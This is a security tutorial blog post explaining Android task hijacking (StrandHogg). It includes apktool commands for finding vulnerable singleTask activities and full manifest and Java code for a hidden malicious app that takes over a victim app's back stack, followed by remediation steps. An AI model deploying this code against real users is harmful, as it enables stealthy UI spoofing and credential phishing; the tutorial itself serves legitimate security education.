Exploiting Android’s Task Hijacking

Sanatsu
Mobis3c
Published in
4 min readApr 8, 2022

Introduction

In 2015, at USENIX, task hijacking and its impact on Android were first presented.
It’s an attack in which a malicious app takes over the vulnerable app’s “back stack,” and whenever the user tries to access the vulnerable app, he’ll be met by the malicious app’s activity instead.

Tasks and the Back stacks

According to Android Developer’s Documentation,

A task is a collection of activities that users interact with when trying to do something in your app. These activities are arranged in a stack called the back stack in the order in which each activity is opened.

Example:

an email app might have one activity to show a list of new messages. When the user selects a message, a new activity opens to view that message. This new activity is added to the back stack. Then, if the user presses or gestures Back, that new activity is finished and popped off the stack.
the back stack

Don’t get confused with the Background task and Back Stack, even though the working of both looks same they are different.

Back Stack operates as “Last in First out” method, due to which the activities in the stack are never rearranged but only pushed into the stack when the current activity starts it and popped off when the user exits it using the Back button.

The activity that is displayed on the screen is called a foreground activity and its task is called the foreground task. At a time, only one foreground task is visible on the screen.

According to the Android security model, all the apps running on the device will be isolated and sandboxed from one another but this is not the case when it comes to the Tasks.
Android allows Activities from different apps to co-reside in the same Task and this is the root cause of the vulnerability.

The image shows androids multi-tasking feature with points discussed above.

image by hacktricks

Android Launch Modes

Launch modes are activity attributes that are specified in the AndroidManifest.xml (or can be mentioned as flags in the calling intent). They provide the underlying OS an instruction on how the activity should be launched.

There are four different Launch Modes:

  1. standard
  2. singleTop
  3. singleTask
  4. singleInstance

For the attack described here, we are mostly concerned with the “singleTask” mode.

One of the possibility with “singleTask” activity is it allows other activities to be part of its task. It’s always at the root of its task, but other activities (necessarily “standard” and “singleTop” activities) can be launched into that task.

Task affinity is an attribute that is defined in each <activity> tag in the AndroidManifest.xml file. It describes which Task an Activity prefers to join.
By default, every activity has the same affinity as the package name.

DEMO

To test the application for task hijacking:

  • choose the target application and decompile it using apktool
  • change into the decompiled directory
  • grep for singletask
apktool d com.example.app
cd com.example.app
grep -i "singleTask"

If we find the activity whose launchMode is set to singleTask then we can hijack the task as it is vulnerable.

We need to create a malicious application to exploit this vulnerability

In android-studio,

  • Create new project and select Empty activity
  • Give the application a name and language as java
  • leave all the other options unchanged, there will be 2 default files will be created named activity_main.xml and MainActivity.java
  • Goto app > manifests > AndroidManifest.xml and double click on it to open in editor

now replace the contents of androidmanifest.xml with below code.

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.example.androidtaskhijackingdemo">

<application
android:allowBackup="true"
android:icon="@mipmap/ic_launcher"
android:label="@string/app_name"
android:roundIcon="@mipmap/ic_launcher_round"
android:supportsRtl="true"
android:taskAffinity="com.ath.victim"
android:theme="@style/Theme.AndroidTaskHijackingDemo">
<activity android:name=".MainActivity" android:launchMode="singleTask" android:excludeFromRecents="true"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN" />

<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
</application>

</manifest>

In the above code, we can see taskAffinity is set to victim package.

Another flag android:excludeFromRecents is used to ensure the task is not listed in the recent apps, therefore hiding the attacker’s app

now replace the contents of MainActivity.java with below code.

package com.example.androidtaskhijackingdemo;

import androidx.appcompat.app.AppCompatActivity;
import android.content.Intent;
import android.os.Bundle;

public class MainActivity extends AppCompatActivity {

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);

moveTaskToBack(true);
}

@Override
public void onResume(){
super.onResume();
setContentView(R.layout.activity_main);
}
}

Activities in android can call the moveTaskToBack() function, which will move the task containing this activity to the back of the activity stack. (basically minimise the activity)

save and run the application(android studio will directly install the application to the connected device)

  • Now, when the user opens the attacker’s app. it immediately minimises the task.
  • it will not be shown in the recent apps as well.
  • After that, when the user opens the victim app and presses the back button, instead of being taken to home screen. he is taken to the attacker’s application.

Thanks to the taskAffinity mentioned by the attackers app which is set to the victims app.

In real life exploitation can involve a very stealthy and convincing UI spoofing

Task hijacking is also known as StrandHogg vulnerability.

Remediation

  • Set the launchMode to singleInstance which will prevent other activities from becoming a part of it’s task.
  • A custom onBackPressed() function can also be added, to override the default behaviour.
  • Setting taskAffinity="" can be a quick fix for this issue.

--

--